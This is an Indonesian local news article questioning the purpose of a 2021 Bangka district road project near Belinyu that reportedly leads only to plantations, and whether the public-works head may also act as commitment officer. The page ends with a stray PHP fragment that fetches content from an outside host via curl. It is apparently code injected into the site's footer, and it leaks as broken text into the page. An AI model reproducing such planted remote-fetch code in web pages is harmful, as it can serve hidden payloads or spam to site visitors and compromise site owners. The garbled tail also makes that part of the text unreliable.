Diduga Proyek Dinas PUPR Pembangunan Jalan Simpang Phakak Liang Tidak Ada Korelasi

Jumat, 26 November 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Belinyu l Jejakkasus.info – Pembangunan jalan harus lebih memperhatikan keberadaan tata ruang.

Video Konfirmasi

Artinya dalam perencanaannya harus dilakukan secara lebih terpadu agar dampak negatif yang bakal ditimbulkan nya bisa lebih diminimalisir.

Permasalahan baru timbul akibat tidak mengindahkan penataan ruang yang benar, yang pada akhirnya menimbulkan kerusakan pada sumber-sumber yang dinilai sangat vital.

Pantauan langsung awak media dilapangan adanya dugaan Proyek Jalan yang tidak jelas korelasinya.

Baca Juga:  PT Timah Tbk Bersihkan Pantai Rebo

Proyek Pemkab Bangka Dinas PUPR bernilai Rp 192.381.900 untuk pembangunan jalan Simpang Phakak Liang Kecamatan Belinyu, Kamis, (26/11/2021).

Sumber dana melalui APBD Kabupaten Bangka Tahun 2021. Pekerjaan pembangunan Jalan Simpang Phakak Liang Kecamatan Belinyu.

Tanggal pelaksanaan kegiatannya 28 September s.d 26 Desember 2021 nomor: 620/478.1.4/SPK/APBD/BM/2021.Pelaksana Fa Harco Karya.

Saat dikonfirmasi via Telepon apa korelasi dari proyek pembangunan jauh dari pemukiman penduduk kepada kepala Dinas PUPR Bangka Ismir mengatakan, “sebagai akses penghubung”, jelasnya.

Baca Juga:  LSM KPMP dan Lembaga MABESBARA Sikapi Penambangan Timah Ilegal di Kabupaten Bangka

Padahal menurut pantauan langsung awak media dilapangan tidak ada jalan penghubung menuju pemukiman penduduk. Hanya ada kebun dan jalannya buntu.

Proyek ini muncul karena ada usulan yang masuk ke Dinas PUPR Bangka jelasnya kemudian.

Baca Juga:  Pembinaan Sinergitas 3 Pilar

Saat ditanya kembali siapa PPK (Pejabat Pembuat Kebijakan), jawabnya, “saya sendiri”, ucap Kadis PUPR Bangka.

Menurut Supriyanto sapaan Akrab Ilyas Ketua Umum Generasi Muda Indonesia Cerdas Anti Korupsi (GMICAK) : Jabatan Kadis PUPR merangkap PPK (Pejabat Pembuat Kebijakan), apa ada peraturan yang memperbolehkan.

Kemudian Korelasi (Nilai Kekuatan) pengerjaan Proyek, sudah sesuaikah dengan Rencana Anggaran Biaya (RAB)
? Jelas Ilyas. (Tim)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>